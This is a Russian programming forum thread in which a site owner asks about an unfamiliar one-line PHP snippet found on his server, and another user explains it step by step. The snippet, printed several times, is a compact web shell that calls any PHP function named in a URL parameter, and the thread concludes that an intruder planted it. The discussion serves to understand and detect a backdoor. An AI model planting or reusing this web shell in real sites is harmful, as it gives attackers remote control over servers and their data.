Что означает и как обрабатывается код

@MCB · Регистрация: 18.02.2012

Студворк — интернет-сервис помощи студентам

Нашел такой код, что он означает и как обрабатывается?

PHP
1
<?=($_=@$_GET[c]).stripslashes(@$_($_GET[f]))?>

crautcher · 28.12.2012, 12:39

Сообщение от MCB

PHP
1
<?=

1. выводим следующий код на экран

Сообщение от MCB

PHP
1
( $_ = @$_GET[c] )

2. значение переменной из адресной строки c ( somescript.php?c=test ) приваивам переменной _ (просто черточка) , и пунктом 1 выводим их содержимое
@ глушит вывод ошибок , если наприемр переменнаяподана не будет

Сообщение от MCB

PHP
1
.

3. приклееваем к выводу код который дет дальше

Сообщение от MCB

PHP
1
 stripslashes( @$_(  $_GET[f]  ) )

4. вот тут сложный момент
$_GET[f] из адрессной строки ( somescript.php?c=test&f=test2 ) подаем в дункцию имя которой хранится в $_ , а имя мы заносим на пункте 2 туда опят таки из адресной строки . Затем убираем слэши из результата этой функции с помощью stripslashes() и благодаря пункту 3 приклееваем это всё к выводу , глуша вывод ошибок @

@MCB · 28.12.2012, 12:45 **[ТС]**

интересно, а для чего этот код нужен, может злоумышленники добавили?

crautcher · 28.12.2012, 12:52

можно вызвать любую функцию с любым параметром просто вписав в адресс браузера необходимые данные и получить вывод на экран

@MCB · 28.12.2012, 13:05 **[ТС]**

т.е. легко взлом произвести, менять содержимое файлов?

crautcher · 28.12.2012, 13:09

Базу вам очистить , добавить что-то в общем любая манипуляция базой . В общем я незнаю сколько у вас пользовательских фунций написано , но довольно много чего можно сделать дефолтными функциями с одним аргументом .

@MCB · 28.12.2012, 13:19 **[ТС]**

ясно, спасибо,...
это код кто-то добавил, т.к. его небыло

Новые блоги и статьи Все статьи Все блоги /
Thinkpad X220 Tablet — это лучший бюджетный ноутбук для учёбы, точка. Programma_Boinc 23.12.2025 Thinkpad X220 Tablet — это лучший бюджетный ноутбук для учёбы, точка. Рецензия / Мнение/ Перевод https:/ / **********/ gallery/ thinkpad-x220-tablet-porn-gzoEAjs . . .	PhpStorm 2025.3: WSL Terminal всегда стартует в ~ and_y87 14.12.2025 PhpStorm 2025. 3: WSL Terminal всегда стартует в ~ (home), игнорируя директорию проекта Симптом: После обновления до PhpStorm 2025. 3 встроенный терминал WSL открывается в домашней директории. . .	Как объединить две одинаковые БД Access с разными данными VikBal 11.12.2025 Помогите пожалуйста !! Как объединить 2 одинаковые БД Access с разными данными.	Новый ноутбук volvo 07.12.2025 Всем привет. По скидке в "черную пятницу" взял себе новый ноутбук Lenovo ThinkBook 16 G7 на Амазоне: Ryzen 5 7533HS 64 Gb DDR5 1Tb NVMe 16" Full HD Display Win11 Pro	Музыка, написанная Искусственным Интеллектом volvo 04.12.2025 Всем привет. Некоторое время назад меня заинтересовало, что уже умеет ИИ в плане написания музыки для песен, и, собственно, исполнения этих самых песен. Стихов у нас много, уже вышли 4 книги, еще 3. . .
От async/await к виртуальным потокам в Python IndentationError 23.11.2025 Армин Ронахер поставил под сомнение async/ await. Создатель Flask заявляет: цветные функции - провал, виртуальные потоки - решение. Не threading-динозавры, а новое поколение лёгких потоков. Откат?. . .	Поиск "дружественных имён" СОМ портов Argus19 22.11.2025 Поиск "дружественных имён" СОМ портов На странице: https:/ / norseev. ru/ 2018/ 01/ 04/ comportlist_windows/ нашёл схожую тему. Там приведён код на С++, который показывает только имена СОМ портов, типа,. . .	Сколько Государство потратило денег на меня, обеспечивая инсулином. Programma_Boinc 20.11.2025 Сколько Государство потратило денег на меня, обеспечивая инсулином. Вот решила сделать интересный приблизительный подсчет, сколько государство потратило на меня денег на покупку инсулинов. . . .	Ломающие изменения в C#.NStar Alpha Etyuhibosecyu 20.11.2025 Уже можно не только тестировать, но и пользоваться C#. NStar - писать оконные приложения, содержащие надписи, кнопки, текстовые поля и даже изображения, например, моя игра "Три в ряд" написана на этом. . .	Мысли в слух kumehtar 18.11.2025 Кстати, совсем недавно имел разговор на тему медитаций с людьми. И обнаружил, что они вообще не понимают что такое медитация и зачем она нужна. Самые базовые вещи. Для них это - когда просто люди. . .

@MCB 1 / 1 / 0 Регистрация: 18.02.2012 Сообщений: 129
	28.12.2012, 12:45 [ТС]
	интересно, а для чего этот код нужен, может злоумышленники добавили? 0

crautcher 2450 / 2301 / 597 Регистрация: 27.05.2011 Сообщений: 7,844
	28.12.2012, 12:52
	можно вызвать любую функцию с любым параметром просто вписав в адресс браузера необходимые данные и получить вывод на экран 0

@MCB 1 / 1 / 0 Регистрация: 18.02.2012 Сообщений: 129
	28.12.2012, 13:05 [ТС]
	т.е. легко взлом произвести, менять содержимое файлов? 0

crautcher 2450 / 2301 / 597 Регистрация: 27.05.2011 Сообщений: 7,844
	28.12.2012, 13:09
	Базу вам очистить , добавить что-то в общем любая манипуляция базой . В общем я незнаю сколько у вас пользовательских фунций написано , но довольно много чего можно сделать дефолтными функциями с одним аргументом . 0

@MCB 1 / 1 / 0 Регистрация: 18.02.2012 Сообщений: 129
	28.12.2012, 13:19 [ТС]
	ясно, спасибо,... это код кто-то добавил, т.к. его небыло 0